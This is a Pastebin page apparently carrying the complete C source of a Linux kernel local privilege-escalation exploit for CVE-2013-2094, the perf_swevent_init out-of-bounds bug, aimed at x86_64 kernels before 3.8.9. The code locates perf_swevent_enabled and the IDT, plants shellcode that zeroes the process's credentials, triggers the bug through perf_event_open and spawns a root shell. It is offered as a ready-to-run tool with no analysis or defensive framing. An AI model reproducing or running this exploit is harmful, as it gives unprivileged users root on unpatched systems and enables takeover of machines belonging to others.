unknowns-mm

perf_swevent_init.c

Sep 5th, 2016
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  *Name : perf_swevent_init.c
  3.  *Kernal Version : x86_64 Linux < 3.8.9
  4.  * CVE-2013-2094 exploit x86_64 Linux < 3.8.9
  5.  * by sorbo (sorbo@darkircop.org) June 2013
  6.  *
  7.  * Based on sd's exploit.  Supports more targets.
  8.  *
  9.  */
  10.  
  11. #define _GNU_SOURCE
  12. #include <string.h>
  13. #include <stdio.h>
  14. #include <unistd.h>
  15. #include <stdlib.h>
  16. #include <stdint.h>
  17. #include <sys/syscall.h>
  18. #include <sys/mman.h>
  19. #include <linux/perf_event.h>
  20. #include <signal.h>
  21. #include <assert.h>
  22.  
  23. #define BASE        0x380000000
  24. #define BASE_JUMP   0x1780000000
  25. #define SIZE        0x10000000
  26. #define KSIZE       0x2000000
  27.  
  28. #define TMP(x) (0xdeadbeef + (x))
  29.  
  30. struct idt {
  31.     uint16_t limit;
  32.     uint64_t addr;
  33. } __attribute__((packed));
  34.  
  35. static int _fd;
  36.  
  37. static int perf_open(uint64_t off)
  38. {
  39.     struct perf_event_attr attr;
  40.     int rc;
  41.  
  42. //  printf("perf open %lx [%d]\n", off, (int) off);
  43.  
  44.     memset(&attr, 0, sizeof(attr));
  45.  
  46.     attr.type           = PERF_TYPE_SOFTWARE;
  47.     attr.size           = sizeof(attr);
  48.     attr.config         = off;
  49.     attr.mmap           = 1;
  50.     attr.comm           = 1;
  51.     attr.exclude_kernel = 1;
  52.  
  53.     rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
  54.  
  55.     return rc;
  56. }
  57.  
  58. void __sc_start(void);
  59. void __sc_next(void);
  60.  
  61. void __sc(void)
  62. {
  63.     asm("__sc_start:\n"
  64.         "call __sc_next\n"
  65.         "iretq\n"
  66.         "__sc_next:\n");
  67. }
  68.  
  69. void sc(void)
  70. {
  71.     int i, j;
  72.     uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
  73.     uint64_t kbase = ((uint64_t)current) >> 36;
  74.     int uid = TMP(1);
  75.     int gid = TMP(2);
  76.  
  77.     for (i = 0; i < 4000; i += 4) {
  78.         uint64_t *p = (void *) &current[i];
  79.         uint32_t *cred = (uint32_t*) p[0];
  80.  
  81.         if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
  82.             continue;
  83.  
  84.         for (j = 0; j < 20; j++) {
  85.             if (cred[j] == uid && cred[j + 1] == gid) {
  86.                 for (i = 0; i < 8; i++) {
  87.                     cred[j + i] = 0;
  88.                     return;
  89.                 }
  90.             }
  91.         }
  92.     }
  93. }
  94.  
  95. static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
  96. {
  97.     void *p;
  98.  
  99.     p = memmem(sc, 900, &needle, sizeof(needle));
  100.     if (!p)
  101.         errx(1, "can't find %x", needle);
  102.  
  103.     memcpy(p, &val, sizeof(val));
  104. }
  105.  
  106. static void *map_mem(uint64_t addr)
  107. {
  108.     void *p;
  109.  
  110.     p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
  111.          MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
  112.  
  113.     if (p == MAP_FAILED)
  114.         err(1, "mmap()");
  115.  
  116.     return p;
  117. }
  118.  
  119. static int find_mem(void *mem, uint8_t c)
  120. {
  121.     int i;
  122.     uint8_t *p = mem;
  123.  
  124.     for (i = 0; i < SIZE; i++) {
  125.         if (p[i] == c)
  126.             return i;
  127.     }
  128.  
  129.     return -1;
  130. }
  131.  
  132. static void dropshell()
  133. {
  134.     if (setuid(0) != 0)
  135.         errx(1, "failed");
  136.  
  137.     printf("Launching shell\n");
  138.  
  139.     execl("/bin/sh", "sh", NULL);
  140.     exit(0);
  141. }
  142.  
  143. void morte(int x)
  144. {
  145.     printf("Got signal\n");
  146.     close(_fd);
  147.     dropshell();
  148. }
  149.  
  150. static void trigger(int intr)
  151. {
  152.     switch (intr) {
  153.     case 0:
  154.         do {
  155.             int z = 1;
  156.             int a = 1;
  157.  
  158.             z--;
  159.  
  160.             a /= z;
  161.         } while (0);
  162.         break;
  163.  
  164.     case 4:
  165.         asm("int $4");
  166.         break;
  167.  
  168.     case 0x80:
  169.         asm("int $0x80");
  170.         break;
  171.  
  172.     default:
  173.         errx(1, "unknown intr %d", intr);
  174.     }
  175.  
  176.     sleep(3);
  177. }
  178.  
  179. int main(int argc, char *argv[])
  180. {
  181.     uint32_t *p[2];
  182.     int fd, i;
  183.     uint64_t off;
  184.     uint64_t addr = BASE;
  185.     struct idt idt;
  186.     uint8_t *kbase;
  187.     int sz = 4;
  188.     int intr = 4;
  189.  
  190.     printf("Searchin...\n");
  191.  
  192.     p[0] = map_mem(BASE);
  193.     p[1] = map_mem(BASE_JUMP);
  194.  
  195.     memset(p[1], 0x69, SIZE);
  196.  
  197.     off = 0xFFFFFFFFL;
  198.     fd = perf_open(off);
  199.     close(fd);
  200.  
  201.     i = find_mem(p[0], 0xff);
  202.     if (i == -1) {
  203.         i = find_mem(p[1], 0x68);
  204.  
  205.         if (i == -1)
  206.             errx(1, "Can't find overwrite");
  207.  
  208.         sz = 24;
  209.         addr = BASE_JUMP;
  210.         printf("detected CONFIG_JUMP_LABEL\n");
  211.     }
  212.  
  213.     munmap(p[0], SIZE);
  214.     munmap(p[1], SIZE);
  215.  
  216.     addr += i;
  217.     addr -= off * sz;
  218.  
  219.     printf("perf_swevent_enabled is at 0x%lx\n", addr);
  220.  
  221.     asm("sidt %0" : "=m" (idt));
  222.  
  223.     printf("IDT at 0x%lx\n", idt.addr);
  224.  
  225.     off = addr - idt.addr;
  226.     off -= 8;
  227.  
  228.     switch (off % sz) {
  229.     case 0:
  230.         intr = 0;
  231.         break;
  232.  
  233.     case 8:
  234.         intr = 0x80;
  235.         break;
  236.  
  237.     case 16:
  238.         intr = 4;
  239.         break;
  240.  
  241.     default:
  242.         errx(1, "remainder %d", off % sz);
  243.     }
  244.  
  245.     printf("Using interrupt %d\n", intr);
  246.  
  247.     off -= 16 * intr;
  248.  
  249.     assert((off % sz) == 0);
  250.  
  251.     off /= sz;
  252.     off = -off;
  253.  
  254. //  printf("Offset %lx\n", off);
  255.  
  256.     kbase = (uint8_t*) (idt.addr & 0xFF000000);
  257.  
  258.     printf("Shellcode at %p\n", kbase);
  259.  
  260.     if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
  261.          MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
  262.         err(1, "mmap()");
  263.  
  264.     memset(kbase, 0x90, KSIZE);
  265.     kbase += KSIZE - 1024;
  266.  
  267.     i = __sc_next - __sc_start;
  268.     memcpy(kbase, __sc_start, i);
  269.     kbase += i;
  270.     memcpy(kbase, sc, 900);
  271.  
  272.     sc_replace(kbase, TMP(1), getuid());
  273.     sc_replace(kbase, TMP(2), getgid());
  274.  
  275.     signal(SIGALRM, morte);
  276.     alarm(2);
  277.  
  278.     printf("Triggering sploit\n");
  279.     _fd = perf_open(off);
  280.  
  281.     trigger(intr);
  282.  
  283.     exit(0);
  284. }
Add Comment
Please, Sign In to add comment